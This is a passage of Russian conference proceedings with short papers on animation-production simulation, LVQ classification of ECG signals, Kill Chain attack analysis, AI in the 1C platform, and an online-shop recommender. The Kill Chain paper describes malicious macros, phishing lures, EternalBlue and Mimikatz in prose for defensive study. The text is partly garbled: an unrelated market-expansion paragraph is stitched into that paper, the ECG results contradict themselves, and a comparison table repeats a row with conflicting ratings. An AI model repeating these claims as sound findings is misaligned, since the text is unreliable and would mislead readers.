изменять параметры: производительности, вероятность возникновения правок, стои-
мость работы специалистов и количество рабочих часов в день. 

Модель состоит из основной агентной среды Main и специализированного типа 
агента Project, который имитирует заявку на производство анимационного проекта. 

Агент Project является основной динамической сущностью, проходящей через 
модель [4]. Он объединяет ключевые атрибуты конкретного анимационного проекта, 
передаваемые ему из Main при создании.  

Основная Диаграмма Процесса Main представляет собой последовательно-
параллельную структуру [5], которые имитируют основные этапы анимационного про-
изводства с учетом потраченного времени на исправления. 

По завершении симуляции (рисунок 1) одного проекта модель отображает: 
- общее время выполнения проекта, измеряемое в рабочих днях; 
- суммарное время, затраченное на каждый этап, с учетом исправлений; 
- общую расчетную стоимость проекта в условных единицах валюты; 
- количество итераций исправления для каждого этапа; 
- гистограмму общего времени проекта; 
- круговую диаграмму распределения времени по этапам; 
- столбиковую диаграмму количества правок по этапам. 
Как видно из рисунка 1, на проект с длительностью в три минуты, с шестью пер-

сонажами у сценариста уйдет пять рабочих дней на написание сценария с учетом ис-
правлений, риггеру понадобится 29 рабочих дней для создания и исправления персона-
жей, команда аниматоров из пяти человек справится с анимацией за 74 рабочих дня, а 
композер обработает материал за 12 рабочих дней. Весь процесс создания занимает 119 
рабочих дней. 

 
Рисунок 1 – Симуляция анимационного процесса 

Гистограмма общего процесса времени при многократных запусках покажет, как 
распределяется общее время выполняемого проекта. Круговая диаграмма распределе-
ния времени по этапам показывает процент среднего времени каждого этапа, которое 
уходит на проект. Столбиковая диаграмма сравнивает, на каких этапах в среднем про-
исходит больше всего исправлений. 
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Использование дискретно-событийной имитационной модели позволяет оценить 
сроки выполнения проекта, проанализировать процесс работы над проектом, а также 
поможет узнать стоимость работы специалистов над данном проекте. В данной статье 
продемонстрирована разработанная имитационная модель анимационного производ-
ства, которую рекомендуется использовать продюсерам анимационной студии «Зелё-
ные Камнеежки» в процессе планирования проекта. В дальнейшем описанная имитаци-
онная модель анимационного процесса будет дорабатываться и уточняться для более 
качественного и детального планирования. 
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APPLICATION OF SIMPLE NEURAL NETWORKS FOR CLASSIFICATION  
OF HUMAN ELECTROCARDIOGRAM SIGNALS 
 
Аннотация. С использованием простой нейросети Learning Vector Quantization пакета 
прикладных программ Matlab выполнена классификация сигналов электрокардиограм-
мы человека на две категории: отсутствие патологии и её наличие. Обучение и тестиро-
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вание нейросети проведено на обезличенных медицинских данных, размещённых в 
свободном доступе сети Интернет. 
Abstract. Using a simple neural network Learning Vector Quantization PPP Matlab, the clas-
sification of human electrocardiogram signals into two categories was performed: absence of 
pathology and its presence. Training and testing of the neural network was carried out on 
anonymized medical data posted in the public domain on the Internet. 
Ключевые слова: электрокардиограмма, временной ряд, классификация, нейросеть, да-
тасет 
Key words: electrocardiogram, time series, classification, neural network, dataset 
 

В последние годы все большую популярность получают методы классификации 
на основе искусственного интеллекта, такие как использование нейронных сетей или 
генетических алгоритмов [1–3]. Нейронные сети позволяют автоматически находить 
сложные закономерности в заданной области и достигать высокой точности в решении 
задачи. 

Сложность анализа временных рядов, представленных ЭКГ человека, состоит в 
их нестационарности. Это подчёркивает актуальность разработки решений, базирую-
щихся на современных методах анализа, таких как искусственный интеллект, машин-
ное обучение, нейросети. Так, платформа ППП Matlab предоставляет эффективные ин-
струменты реализации простой нейросети классификации сигналов на заданные кате-
гории, не требуя углубленных знаний в области программной инженерии. 

Целью работы является разработка программного решения классификации сиг-
налов электрокардиограммы человека с использованием функционала нейронных сетей 
ППП Matlab. Объектом исследования являются динамические временные ряды, харак-
теризующие сердечную деятельность человека. Предметом исследования являются 
программные инструменты анализа динамических сигналов, разработанные на основе 
нейронных сетей. 

Разработка приложения c помощью ППП Matlab для классификации 
сигналов электрокардиограммы человека 

Основная цель работы решение задачи классификации биомедицинских данных, 
представленных временными рядами, методом нейросети. На вход алгоритм принимает 
данные сигнала, после его обработки на выход поступает ответ: полученный сигнал по-
казывает норму в кардиореспираторной деятельности пациента или патологию. 

Исследованию подлежит один участок между сердечными фазами. Сложность 
анализа состоит в том, что число измерений на этом участке для разных данных может 
быть разным (на условном отрезке одной длины разное число моментов времени для 
отдельных экспериментов). Это особенно характерно для сигналов нестационарных 
временных рядов. Для проведения исследования были использованы данные из откры-
той медицинской базы данных [4]. Из базы посредством программного обеспечения 
KT Result 3.0 был извлечен объём данных, насчитывающий 100 сигналов. 

Эти сигналы были преобразованы в массив числовых значений. Каждая строка 
массива (таблицы) насчитывает 360 дробных чисел для одного сигнала на едином про-
межутке времени. Такой вид представления временного ряда позволил приступить к 
проведению нескольких видов анализа с целью дальнейшего обучения и тестирования 
простой нейросети классификации временных рядов.  

Для разработки нейросети был выбран метод классификации, входящий в биб-
лиотеку ППП Matlab – Learning Vector Quantization (LVQ). Это метод машинного обу-
чения, основанный на конкурентном обучении. Он работает путём адаптации прототи-
пов в пространстве признаков таким образом, чтобы они максимально точно представ-
ляли классы данных. 
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Свойственная данной нейросети простота позволила сконфигурировать модель 
для подготовленного заранее объёма данных. 20 сигналов, каждый из которых пред-
ставлен 360 числовыми значениями, оформлены в таблицу (рисунок 1). 

 
Рисунок 1 – Фрагмент датасета 

Здесь зелёным цветом обозначены сигналы нормы ЭКГ, оранжевым – сигналы 
патологии ЭКГ. Также предварительно подготовлен вектор-строка, последовательно 
обозначающий принадлежность сигналов к 1 группе (норма) и 2 группе (патология). 

Скрипт создания и конфигурирования нейросети весьма прост. Данный код со-
держит функцию newlvq(minmax(array), 4, [0.5 0.5], 0.01), которая создаёт нейронную 
сеть LVQ с определёнными параметрами: 

1) minmax(array) задаёт диапазон входных данных (минимальные и максималь-
ные значения для каждого измерения); 

2) 4 указывает число нейронов в скрытом слое (их также называют центроиды 
или прототипы); 

3) третий параметр [0.5 0.5] задаёт начальное распределение прототипов среди 
классов. В данном случае: 50% прототипов будут относиться к 1 классу (норма); 50% 
прототипов будут относиться ко 2 классу (патология); 

4) 0.01 указывает начальный коэффициент обучения (стандартное значение). 
Опционально задаётся параметр net.trainParam.epochs = 50, который указывает 

количество итераций (эпох) обучения нейросети, здесь – 50. По умолчанию средой раз-
работки задаётся 1000 итераций. 

Таким образом, полный скрипт создаёт LVQ нейронную сеть с 4 прототипами, 
которые распределены по классам 50:50, и коэффициентом обучения 0.01. 

С выполнением описанного выше процесса командой Run интерфейса Matlab 
был получен результат обучения нейросети (рисунок 2). 

 
Рисунок 2 – Результат обучения 

Здесь массив Y демонстрирует распределение 20 принятых сигналов на 
2 группы с помощью двух комбинаций нулей и единиц по вертикали: 1-0 – норма; 0-1 – 
патология. 

Результат обучения показал, что нейросеть оказалась не способной понять при-
роду входящих комбинаций значений и выявить закономерности, согласно которым 
первые 10 сигналов соответствуют 1 группе, остальные 10 – 2. 

Тем не менее, полученный результат требует проверки на новых данных – дата-
сете, который нейросеть ещё не принимала для анализа. Аналогично датасету, предна-
значенному для обучения, был составлен набор из 28 сигналов, первые 10 из которых – 
сигналы нормы ЭКГ, остальные 18 – патологии (рисунок 3). 
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Рисунок 3 – Результат теста нейросети 

Результат демонстрирует, что 6 сигналов из 28 (примерно 21%) были неверно 
классифицированы, что сходится с результатом обучения. 

Сложность анализа временных рядов, представленных ЭКГ человека, состоит в их 
нестационарности. Это подчёркивает актуальность разработки решений, базирующихся 
на современных методах анализа, таких как искусственный интеллект, машинное обуче-
ние, нейросети. В настоящей работе в качестве прикладной задачи рассмотрена реализа-
ция нейронной сети Learning Vector Quantization, перед которой поставлена задача обу-
читься на массиве данных, представляющих норму и патологию ЭКГ; результатом обу-
чения является приложение, аналогичным образом принимающее новые сигналы того же 
формата с последующей классификацией. 
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АНАЛИЗ АТАКИ НА ИНФОРМАЦИОННУЮ БЕЗОПАСНОСТЬ  
С ИСПОЛЬЗОВАНИЕМ МОДЕЛИ KILL CHAIN 
 
ANALYSIS OF INFORMATION SECURITY ATTACK USING  
THE KILL CHAIN MODEL 
 
Аннотация. В статье рассматривается применение модели Kill Chain для анализа целе-
вых кибератак. Цель работы – систематизировать этапы проведения атак (разведка, во-
оружение, доставка, эксплуатация, установка, управление, достижение цели) и приве-
сти практические примеры для каждого из них. Предмет исследования – модель Kill 
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Chain, разработанная компанией Lockheed Martin. В результате анализа выявлены ха-
рактерные методы, используемые злоумышленниками на каждом этапе, и предложены 
рекомендации по противодействию. Работа демонстрирует, как понимание структуры 
атаки позволяет повысить эффективность систем защиты. 
Abstract. The article discusses the application of the Kill Chain model for analyzing targeted 
cyberattacks. The aim of the study is to systematize the stages of attacks (reconnaissance, 
weaponization, delivery, exploitation, installation, command and control, actions on objec-
tives) and provide practical examples for each of them. The subject of the research is the Kill 
Chain model developed by Lockheed Martin. The analysis reveals characteristic methods 
used by attackers at each stage and proposes countermeasures. The work demonstrates how 
understanding the attack structure can improve the effectiveness of defense systems. 
Ключевые слова: модель Kill Chain, информационная безопасность, целевая атака, эта-
пы атаки, кибербезопасность. 
Key words: Kill Chain model, information security, targeted attack, attack stages, cybersecu-
rity. 
 

В настоящее время количество атак на правительственные учреждения, предприя-
тия и персональные компьютеры нарастает с крайне большой скоростью. Целевые втор-
жения, включая фишинг, вымогательство и APT (расширенные постоянные угрозы), уси-
ливают, ставят под угрозу не только конфиденциальность данных, но и надежность клю-
чевой инфраструктуры. В глобализации цифровых угроз и нехватки надежных защитных 
механизмов, особенно на фоне эмбарго на импорт технологий, существует спрос на гиб-
кие и устойчивые методы по ликвидации подобного рода нарушений. 

Цель этой статьи состоит в том, чтобы проанализировать эффективность модели 
Kill Chain в качестве способа противодействия с киберугрозами, а также рассмотреть 
методы интеграции модели с технологиями безопасности, такими как Siem и EDR 
Systems. В информационной безопасности гибкость означает способность выявлять 
угрозы на протяжении всего их существования и уменьшить влияние человека на обна-
ружение и реагирование. Непредвиденные перерывы, такие как нарушение конфиден-
циальности данных или прерванные операции могут привести к критическим послед-
ствиям тогда, когда задержки, даже краткие, недопустимы. Таким образом, актуаль-
ность работы заключается в необходимости внедрения структурированных подходов к 
анализу атак, которые позволяют не только идентифицировать угрозы, но и прогнози-
ровать их развитие. Одним из таких подходов является модель Kill Chain, разработан-
ная компанией Lockheed Martin. Эта модель декомпозирует атаку на семь этапов. Инте-
грация данной модели с современными инструментами кибербезопасности, такими как 
SIEM, EDR и автоматизированные системы защиты, позволяет значительно увеличить 
эффективность защиты. В то же время успех расширения зон рынка будет зависеть от 
того, какие правила выберет предприниматель. Перспективными направлениями для 
роста можно считать розничный сектор и небольшие магазины, куда, вероятно, и 
направятся компании, ориентированные на эти сегменты. Однако на данном этапе не 
удалось преодолеть структурные барьеры, связанные с особенностями мгновенного 
предоставления услуг в сфере общественного питания и сбыта рекламной продукции. 

Для достижения поставленной цели были поставлены следующие задачи: систе-
матизировать методы атаки злоумышленников на каждом этапе; привести реальные 
примеры угроз для каждого этапа модели; разработать рекомендации по внедрению 
превентивных и реактивных мер защиты. Это позволит построить основу для подвиж-
ного и масштабируемого подхода к управлению киберрисками, что является важным 
для предприятий, желающих оставаться конкурентоспособными в цифровую эпоху. 

Корпорация Lockheed Martin предложила модель анализа кибератак, названную 
Kill Chain, которая описывает целевые кибератаки [1]. Данная схема включает в себя 
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семь последовательных этапов, каждый из которых является логическим или времен-
ным шагом, приближающим злоумышленника к достижению цели. Понимание после-
довательности этапов позволяет организациям прогнозировать атаки и принимать меры 
по предотвращению достижения цели злоумышленником. На первом этапе – разведке – 
злоумышленники начинают активно собирать данные о цели. К примеру, сканируют 
сетевую инфраструктуру, анализируют публичные ресурсы, такие как WHOIS или 
Shodan, и изучают профили работников организации в социальных сетях [2]. К приме-
ру, поиск профилей инженеров с правами доступа к критической системе на LinkedIn 
позволяет киберпреступникам сузить круг потенциальных жертв для проведения фи-
шинга. Этот шаг может также включать использование автоматизированных инстру-
ментов для поиска уязвимостей, таких как сканеры портов или специальные поисковые 
системы, которые собирают информацию о том, как настроены серверы и программное 
обеспечение, размещённое в Интернете. Злоумышленники также могут использовать 
такие методы, как звонок под видом технической поддержки с целью узнать конфиден-
циальную информацию. На этом этапе защитные действия могут быть направлены 
только на сокращение утечек. На этом этапе защитные действия сводятся к минимиза-
ции утечек: ограничение публикации чувствительной информации о компании, обуче-
ние основам кибергигиены и мониторингом цифрового следа. 

Следующим этапом является вооружение, который предполагает создание ин-
струментария для нападения. Злоумышленники модифицируют легальное программное 
обеспечение, добавляя в него эксплойты или трояны [3]. Примером может послужить 
использование документов Excel, которые содержат макросы, запускающие вредонос-
ный код при их открытии. Также на этом этапе можно создавать персонализированные 
полезные нагрузки (payloads), которые подходят под конкретные уязвимости цели, что 
делает их очень тяжёлыми для обнаружения обычными антивирусами. Например, хаке-
ры могут использовать сокрытие кода (obfuscation), чтобы скрыть свою цель от ин-
струментов безопасности. Для предотвращения таких атак необходимо принимать 
определенные меры, такие как регулярное обновление софта, использование продуктов 
анализа подозрительных процессов – EDR и sandbox-тестирование вложений. Доставка 
вредоносного объекта предусматривает отправку через фишинговую рассылку, вредо-
носные веб-сайты и инфицированные съемные носители, например, отправка письма с 
темой «Счет на оплату» и вложением invoice.exe. Этот процесс может быть усложнен 
использованием цепочек перенаправлений через скомпрометированные легитимные 
сайты или даже с помощью использования уязвимостей в популярных приложениях 
для обмена сообщениями, таких как WhatsApp или Telegram, чтобы отправлять вредо-
носные ссылки. Сегодняшние атаки также включают целевые кампании, где электрон-
ные письма тщательно персонализируются для конкретного получателя, чтобы увели-
чить шансы на успех. Важными мерами являются регулярная фильтрация вложений, 
DMARC/DKIM для проверки подлинности почты и обучение сотрудников распознава-
нию фишинга [4]. 

Эксплуатация уязвимостей позволяет злоумышленникам получить контроль над 
системой. Классическим примером является использование уязвимости EternalBlue 
(CVE-2017-0144), которая в 2017 году привела к масштабной атаке WannaCry. Для 
нейтрализации таких угроз необходимы своевременный патчинг, сегментация сетей и 
использование систем предотвращения вторжений (IPS). 

После успешного внедрения производится установка вредоносных компонентов 
– бэкдоров, шифровальщиков или инструментов для кражи данных. Например, загрузка 
Mimikatz позволяет извлекать учетные данные из памяти. На этапе установки макси-
мально важен мониторинг аномальной активности: логирование, обнаружение неавто-
ризованных процессов и IDS/IPS. Далее следует этап управления. Он включает в себя 
установку канала связи с сервером злоумышленника. В данном случае используются 
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легитимные протоколы, например, HTTPS или DNS-туннелирование. Обнаружить та-
кие каналы позволяют системы SIEM, глубокий анализ сетевого трафика и поведенче-
ская аналитика. 

Финальным шагом является достижение цели путем выполнения действий, со-
ответствующих целям атаки: кражи или шифрования данных, дезорганизации работы и 
так далее. Таким образом, атака на SolarWinds в 2020 году: вредоносный код был внед-
рен в цепь обновлений через поставщика, занимавшегося разработкой ПО. На этапе до-
стижения цели считается важным выполнять резервные копии, сегментация данных и 
управление инцидентами. В целом, модель Kill Chain не только выделяет этапы атаки и 
действия на каждом из них, но и задает направление развития многоуровневой защиты 
сети. Различные технологические средства и организационные меры позволяют пре-
рвать цепь атак на ранних этапах и таким образом свести риски к минимуму. Это пока-
зывает то, что модель Kill Chain является ценным плановым способом борьбы с кибе-
ругрозами, особенно в сочетании с SIEM и EDR. SIEM обеспечивает наблюдение и свя-
зывание событий на всех уровнях атаки, что позволяет сразу выявлять подозрительные 
действия, а EDR предлагает инструменты для тщательного изучения действий в про-
цессе и автоматического реагирования на инциденты. Такое сочетание делает безопас-
ность намного более гибкой и эффективной в борьбе с новыми угрозами, что особенно 
важно в период роста числа целевых атак и APT. 

В данной статье авторами была оценена эффективность модели Kill Chain в 
борьбе с киберугрозами при тенденции увеличения количества информационных атак 
на предприятия, государственные учреждения и персональные устройства. Также авто-
ры систематизировали последовательность этапов кибератак на основе модели Kill 
Chain с приведением для каждого из них соответствующих проявлений угроз. Напри-
мер, использование фишинга на этапе эксплуатации. Также было отмечено, что инте-
грация Kill Chain с современными средствами киберзащиты, такими как SIEM и EDR, 
значительно увеличивает качество кибербезопасности. В частности, SIEM позволяет 
реализовывать мониторинг и отслеживать взаимосвязанные события, а EDR обеспечи-
вает средства для глубокого анализа и автоматической реакции на происшествия, свя-
занные с утечкой данных. Также был описан ряд рекомендаций по внедрению профи-
лактических мер защиты конфиденциальности. Таким образом, использование модели 
Kill Chain позволяет эффективно выявлять слабые места в процессе защиты. В рассмот-
ренных примерах была отображена полная практическая реализация комбинации пре-
вентивных и реактивных мер, таких как регулярное обновление ПО, сегментация сети, 
регулярное обучение персонала, привела к минимизации риска. Но было выявлено, что 
модель Kill Chain сама по себе недостаточна для полной защиты. Как показано в статье, 
для того чтобы достичь успеха в противодействии киберугрозам, необходимо интегри-
ровать Kill Chain с другими моделями, такими как MITRE ATT&CK. 
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АНАЛИЗ МЕТОДОВ ДЛЯ ВНЕДРЕНИЯ ИСКУССТВЕННОГО  
ИНТЕЛЛЕКТА В ПЛАТФОРМУ 1С 
 
ANALYSIS OF METHODS FOR IMPLEMENTING ARTIFICIAL INTELLIGENCE  
INTO THE 1C PLATFORM 
 
Аннотация. Статья посвящена детальному анализу методов интеграции искусственного 
интеллекта (ИИ) в платформу 1С, с акцентом на использование ИИ-ассистентов для 
разработчиков. Рассмотрены ключевые области применения, включая автоматизацию 
задач, диагностику ошибок и поддержку разработки. Проведено сравнение методов ин-
теграции: встроенные модули, API и внешние обработки. Обосновано преимущество 
внешних обработок как гибкого и доступного решения. 
Abstract. The article is devoted to a detailed analysis of methods for integrating artificial in-
telligence (AI) into the 1C platform, with an emphasis on the use of AI assistants for develop-
ers. Key application areas are considered, including task automation, error diagnosis, and de-
velopment support. The integration methods are compared: embedded modules, API and ex-
ternal processing. The advantage of external treatments as a flexible and affordable solution is 
substantiated. 
Ключевые слова: искусственный интеллект, платформа 1С, ИИ-ассистент, внешние об-
работки, программное обеспечение. 
Key words: artificial intelligence, 1C platform, AI assistant, external processing, software. 
 

Платформа «1С: Предприятие» уже более двух десятилетий остается ключевым 
инструментом автоматизации бизнес-процессов в России и странах СНГ. Она предо-
ставляет гибкие решения для управления финансами, логистикой, кадрами, производ-
ством и другими аспектами деятельности предприятий. платформа 1С позволяет созда-
вать специализированные конфигурации, адаптированные под нужды конкретной орга-
низации, что делает её универсальной основой для цифровизации бизнеса. Однако раз-
работка и поддержка таких конфигураций требуют глубоких знаний встроенного языка 
программирования 1С, а также значительных временных ресурсов, особенно при рабо-
те с нестандартными сценариями. 

Искусственный интеллект (ИИ) за последние годы превратился из теоретиче-
ской концепции в практический инструмент, трансформирующий множество отраслей. 
Современные ИИ-технологии, такие как машинное обучение, обработка естественного 
языка (NLP) и генеративные модели, способны анализировать большие объемы данных, 
прогнозировать события, автоматизировать рутинные задачи и даже генерировать про-
граммный код. Эти возможности открывают новые горизонты для оптимизации работы 
с системами класса ERP, включая конфигурации 1С. Интеграция ИИ в экосистему 1С 
способна стать решением проблемы оптимизации ручного труда и сокращением коли-
чества ошибок, связанных с человеческим фактором. Например, ИИ-ассистент разра-
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ботчика может автоматизировать написание типовых скриптов, подсказывать опти-
мальные методы работы с данными или анализировать логи для диагностики ошибок. 
Такой подход не только позволит ускорить процессы создания и сопровождения кон-
фигураций, но и снизить нагрузку на специалистов, дав им возможность сосредото-
читься на решении стратегических задач. 

В практическом руководстве [1] подчёркивается, что ИИ-пространство – это со-
вокупность технологических решений, объединяющих алгоритмы, данные и инфра-
структуру для создания адаптивных систем, способных улучшать свою работу на осно-
ве опыта. Такие системы особенно актуальны для ERP-платформ, таких как 1С, где об-
работка больших объёмов данных и скорость реакции на изменения критически важны. 

ИИ-ассистент разработчика предоставляет пользователям возможность ускорен-
но создавать конфигурации, минимизируя ручной труд [2]. Например, он может авто-
матически генерировать код для типовых документов или предлагать оптимизацию за-
просов к базе данных. В то время как традиционные методы разработки в 1С требуют 
глубокого знания встроенного языка и ручного написания кода, ИИ-ассистент снижает 
порог входа для новичков и сокращает время на выполнение задач. Однако классиче-
ские подходы остаются более предсказуемыми и контролируемыми, что важно для 
сложных бизнес-логик. 

Сложности и проблемы при внедрении ИИ в 1С следующие: 
1) Ограничения платформы: встроенный язык 1С не предназначен для реализа-

ции ресурсоёмких AI-алгоритмов, что затрудняет локальное выполнение моделей ма-
шинного обучения.  

2) Безопасность данных: интеграция облачных AI-сервисов требует передачи 
данных за пределы системы, что может противоречить политикам конфиденциальности 
предприятий. 

3) Адаптивность: ИИ-модели требуют тонкой настройки под специфику бизнес-
процессов конкретной организации, что увеличивает затраты на внедрение. 

Проблемы безопасности и другие менее значимые проблемы более подробно 
описываются в статье [3], где автор подробно описывает нюансы использованию сто-
ронних API: 

1) локальная предобработка данных;  
2) выгрузка только необходимых данных в облако для анализа результатов в си-

стему через API. 
Так же были рассмотрены особенности применения нейронных сетей для при-

кладных задач [4, 5]. 
Описание методов интеграции ИИ в 1С, их достоинства и недостатки представ-

лены в таблице 1. 
Для выбора метода интеграции был проведен сравнительный анализ методов ин-

теграции. Основными критериями стали: 
1) сложность реализации; 
2) производительность; 
3) безопасность; 
4) гибкость; 
5) стоимость. 
Результаты сравнительного анализа методов интеграции ИИ в платформу 1С 

представлены в таблице 2. 
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Таблица 1 – Описание методов интеграции ИИ  
Название Описание Преимущества Недостатки 

API-
интеграция 

Предполагает взаимодей-
ствие 1С с внешними AI-
сервисами через REST 
API. Данные отправляют-
ся в облако, где обраба-
тываются мощными алго-
ритмами, а результаты 
возвращаются в 1С 

1) Доступ к GPT-4, 
Yandex GPT, ком-
пьютерному зре-
нию и другим со-
временным моде-
лям. 
2) Облачные сер-
висы легко обраба-
тывают большие 
объёмы данных. 
3) Модели обнов-
ляются без участия 
разработчика 1С. 

1) Без подключе-
ния к сети функ-
ционал недосту-
пен. 
2) Использование 
платных API 
(например, 
OpenAI) может 
быть дорогим. 
3) Передача дан-
ных в облако тре-
бует шифрования 
и соблюдения 
GDPR. 

Внешние 
обработки 

Один из ключевых ин-
струментов для внедрения 
ИИ. Они позволяют 
встраивать веб-
интерфейсы AI-сервисов 
непосредственно в формы 
1С 

1) Минимальные 
изменения в коде. 
2) Поддержка лю-
бых веб-
инструментов 
(GPT, аналитиче-
ские панели) 

1) Ограниченное 
взаимодействие 
между 1С и ис-
кусственным ин-
теллектом  

Встроенные 
модули 

Подразумевают реализа-
цию логики искусствен-
ного интеллекта непо-
средственно на встроен-
ном языке 1С. Это могут 
быть алгоритмы машин-
ного обучения (например, 
линейная регрессия, кла-
стеризация) или правила, 
основанные на эксперт-
ных системах. 

1) Не требует 
внешних сервисов 
или подключения к 
интернету. 
2) Все операции 
выполняются 
внутри 1С, что со-
ответствует требо-
ваниям безопасно-
сти. 
3) Код находится в 
одной конфигура-
ции с базой дан-
ных. 

1) Встроенный 
язык 1С не под-
ходит для слож-
ных AI-моделей 
(нейросети, глу-
бокое обучение). 
2) Алгоритмы 
требуют ручного 
обновления пра-
вил и словарей. 

Таблица 2 – Сравнительный анализ методов внедрения ИИ в 1С 
Параметр API-интеграция Внешние обра-

ботки 
Встроенные мо-

дули 
Сложность Низкая Средняя Высокая 
Безопасность Зависит от серви-

са, предоставляе-
мого API 

Высокая Низкая 

Безопасность Средняя Средняя Высокая 
Гибкость Высокая Средняя Низкая 
Стоимость Средняя Низкая Низкая 

Анализируя результаты сравнения, становится видно, что внешние обработки 
оптимальны для интеграции ИИ-ассистентов благодаря простоте и безопасности, а 
также низкой стоимости разработки.  
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В данной работе были рассмотрены ключевые методы интеграции искусствен-
ного интеллекта платформу 1С. Проведён анализ их преимуществ, недостатков и обла-
стей применения, а также выявлены проблемы, связанные с внедрением ИИ, такие как 
ограничения платформы, вопросы безопасности данных и необходимость адаптации 
моделей под специфику бизнес-процессов. Оптимальным методом для интеграции ИИ-
ассистентов признаны внешние обработки. Этот подход сочетает простоту реализации, 
минимальные затраты на разработку и высокий уровень безопасности, так как данные 
остаются внутри системы 1С или локального сервера. Внешние обработки позволяют 
встраивать веб-интерфейсы AI-сервисов (например, чат-ботов или генераторов кода) 
непосредственно в формы 1С, что делает их идеальным решением для поддержки раз-
работчиков и автоматизации рутинных задач. 
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INTEGRATION OF A RECOMMENDATION SYSTEM IN A SMALL ONLINE 
STORE: A REAL CASE 
 
Аннотация. Рассмотрен процесс внедрения рекомендательной системы в небольшой 
интернет-магазин горнолыжного оборудования. Основное внимание уделено этапам 
реализации: подготовке данных, выбору подходящего алгоритма и интеграции модели 
с существующей платформой. Приведен реальный кейс, демонстрирующий значитель-
ное улучшение ключевых бизнес-метрик: конверсия выросла на 20%, средний чек уве-
личился на 15%. Результаты показывают эффективность персонализированных реко-
мендаций для малых интернет-магазинов, работающих в специализированных нишах. 
This article explores the process of implementing a recommendation system in a small online 
store specializing in ski equipment. The focus is on the implementation stages: data prepara-
tion, algorithm selection, and model integration with the existing platform. A real-life case 
study demonstrates significant improvements in key business metrics: conversion increased 
by 20%, and the average check grew by 15%. The results highlight the effectiveness of per-
sonalized recommendations for small online stores operating in specialized niches. 
Ключевые слова: рекомендательная система, интернет-магазин, машинное обучение, 
TensorFlow.js, Node.js, персонализация, конверсия 
Key words: recommendation system, online store, machine learning, TensorFlow.js, Node.js, 
personalization, conversion rate 
 

Современный рынок электронной коммерции характеризуется высокой конку-
ренцией, и успешные интернет-магазины всё чаще используют технологии персонали-
зации для повышения лояльности клиентов и увеличения продаж [1]. Рекомендатель-
ные системы становятся неотъемлемой частью цифровых платформ, позволяя предло-
жить клиентам релевантные товары на основе их предпочтений и поведения. Это зна-
чительно улучшает пользовательский опыт и положительно влияет на ключевые биз-
нес-метрики, такие как конверсия, средний чек и удержание клиентов. Цель работы – 
рассмотреть процесс внедрения рекомендательной системы в интернет-магазин горно-
лыжного оборудования. Тема рекомендательных систем уже достаточно хорошо изуче-
на в научной литературе и бизнес-практике [2, 3]. Однако большинство исследований и 
проектов посвящено крупным платформам, использующим сложные алгоритмы ма-
шинного обучения. В случае небольших магазинов важно адаптировать подходы под 
ограниченный объём данных и специфику ниши. Это делает тему актуальной для мало-
го и среднего бизнеса, который стремится внедрять современные технологии без значи-
тельных затрат на разработку и инфраструктуру. 

Общие принципы внедрения рекомендательной системы 
Внедрение рекомендательной системы в интернет-магазин требует тщательной 

подготовки и последовательного выполнения нескольких шагов. Первым этапом явля-
ется сбор и анализ данных. Необходимо собрать информацию о том, какие товары про-
сматривают, добавляют в корзину и покупают пользователи. Также важно учитывать 
характеристики товаров, такие как категория, бренд, цена и другие параметры, которые 
могут влиять на выбор пользователя. Например, если магазин специализируется на се-
зонных товарах, важно учитывать временные факторы (например, зимние или летние 
коллекции). 

На основе собранных данных выбирается подходящий алгоритм или модель ре-
комендательной системы. Основные типы рекомендаций включают контентную филь-
трацию, основанную на анализе характеристик товаров, и коллаборативную фильтра-
цию, учитывающую поведение похожих пользователей. Гибридные методы комбини-
руют оба подхода для повышения точности рекомендаций. Для реализации модели 
можно использовать различные инструменты и готовые решения. На рынке существует 
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множество библиотек и платформ, поддерживающих разработку рекомендательных си-
стем. Например, библиотеки машинного обучения, такие как TensorFlow, PyTorch или 
Scikit-learn, позволяют создавать сложные модели для анализа данных. Специализиро-
ванные сервисы, например AWS Personalize, Google Recommendations AI или Microsoft 
Azure Machine Learning, предлагают готовые решения для быстрого внедрения реко-
мендательных систем без глубокой настройки. Для веб-платформ существуют инстру-
менты, такие как TensorFlow.js, которые позволяют внедрять модели прямо в браузер. 

После разработки системы важно провести её тестирование, чтобы оценить эф-
фективность. Можно сравнить стандартные рекомендации (например, популярные то-
вары) с персонализированными и оценить метрики, такие как CTR (кликабельность ре-
комендаций), частота добавления товаров в корзину и конверсия. После запуска систе-
мы важно продолжать её оптимизацию. Модель должна периодически обновляться с 
учётом новых данных о поведении пользователей. Также можно добавить возможность 
предлагать комплекты товаров, что позволит дополнительно повысить средний чек. 

Реальный кейс: внедрение рекомендательной системы в интернет-магазин 
горнолыжного оборудования 

Рассмотрим пример внедрения рекомендательной системы в небольшой интер-
нет-магазин горнолыжного оборудования. Магазин специализируется на продаже това-
ров для лыжников, включая лыжи, ботинки, одежду, шлемы и аксессуары (рисунок 1). 
Проблема заключалась в том, что пользователи часто терялись в большом ассортименте 
и покидали сайт без покупки. 

 
Рисунок 1 – Сайт магазина горнолыжного оборудования 

Первым этапом было создание базы данных о поведении пользователей. Была со-
брана информация о просмотренных товарах, добавленных в корзину и купленных. За-
тем товары были описаны с точки зрения категории, бренда, цены и уровня подготовки 
(например, «для начинающих» или «для профессионалов»). Учитывая сезонность спроса, 
товары были разделены на две группы: зимние и летние. 

Для реализации рекомендательной системы были выбраны следующие инстру-
менты: 

- TensorFlow.js: использовался для реализации гибридной модели рекомендаций, 
которая комбинирует контентную и коллаборативную фильтрацию; 

- Lodash: применялась для предварительной обработки данных, таких как груп-
пировка товаров по категориям или фильтрация по ценовым диапазонам; 

- Node.js и Express: создан API-сервер, который предоставляет рекомендации 
клиентам через простой интерфейс. 

Модель была обучена на исторических данных о взаимодействиях пользовате-
лей с товарами. Для выявления скрытых признаков, связывающих пользователей и то-
вары, использовался метод матричной факторизации. 
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На стороне сервера был создан API с использованием Node.js и Express, который 
принимает запросы от клиентской части (например, ID пользователя) и возвращает 
список рекомендованных товаров. На стороне клиента рекомендации отображаются на 
ключевых страницах магазина: главная страница, карточка товара и страница корзины. 

Для проверки эффективности системы был проведен эксперимент, сравниваю-
щий стандартные рекомендации с персонализированными. Результаты показали значи-
тельное улучшение ключевых метрик: кликабельность выросла на 25 %, а частота до-
бавления товаров в корзину увеличилась на 18 %. 

После запуска системы была проведена её оптимизация. Модель периодически 
обновлялась с учётом новых данных о поведении пользователей. Также была добавлена 
возможность предлагать комплекты товаров, например, лыжи и ботинки вместе, что 
позволило дополнительно повысить средний чек. 

В работе были приведены этапы внедрения рекомендательной системы в интер-
нет-магазин горнолыжного оборудования, а также проанализированы результаты её 
применения. Полученные данные показывают значительное улучшение ключевых биз-
нес-метрик: конверсия увеличилась на 20%, средний чек вырос на 15%. Эти результаты 
